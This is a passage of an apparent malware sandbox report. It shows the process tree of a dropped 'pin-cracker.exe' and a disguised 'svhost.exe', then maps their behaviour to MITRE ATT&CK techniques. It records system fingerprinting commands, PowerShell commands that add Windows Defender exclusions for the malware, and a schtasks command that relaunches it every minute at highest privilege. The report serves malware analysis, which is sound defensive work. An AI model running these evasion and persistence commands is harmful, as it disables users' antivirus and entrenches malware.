        "C:\ProgramData\Epic\Launcher\pin-cracker.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\pin-cracker" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1984 --field-trial-handle=1916,i,2564666457222993620,15694077475905385698,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:6612
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:3900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:6984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:3460
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:4536
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:4824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:2708
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:4484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:5188
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5644
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:4204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:884
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:4268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
        7⤵
        
        PID:4376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
        8⤵
        
        PID:1464
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:5236
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:6472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
        7⤵
        
        PID:1508
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic bios get smbiosbiosversion
        8⤵
        
        PID:5376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
        7⤵
        
        PID:3544
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic MemoryChip get /format:list
        8⤵
        
        PID:5808
        
        C:\Windows\system32\find.exe
        
        find /i "Speed"
        8⤵
        
        PID:6708
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:5076
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        
        PID:1544
    - - C:\ProgramData\svhost.exe
        
        .\svhost.exe
        5⤵
        Checks computer location settings
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:5608
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3804
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6988
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1692
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6248
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\ProgramData\svhost.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2804

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb41dbab58,0x7ffb41dbab68,0x7ffb41dbab78
  2⤵
  PID:4268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1732 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:2
  2⤵
  PID:1408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2224 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:4856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3084 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:1072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3092 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:4776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4368 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:1044
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4564 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:1788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4664 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:4160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4720 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:3036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4736 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:3488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:5140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4836 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3176 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4724 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:1208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3336 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:3456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5028 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:1020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5220 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5380 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:4028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5620 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5760 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:2072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5948 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=6140 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:6120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=6308 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6636 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:8
  2⤵
  PID:3832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=7056 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5800
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=2276 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:2184
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=2448 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=2764 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:6048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=2632 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:4604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=7328 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=7304 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:5656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=1908 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:6180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=7532 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:6260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=7612 --field-trial-handle=1928,i,11022917141892141503,5002033773841169101,131072 /prefetch:1
  2⤵
  PID:6368

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1864

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:7004

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2112

C:\ProgramData\svhost.exe
C:\ProgramData\svhost.exe
1⤵
- Executes dropped EXE
PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery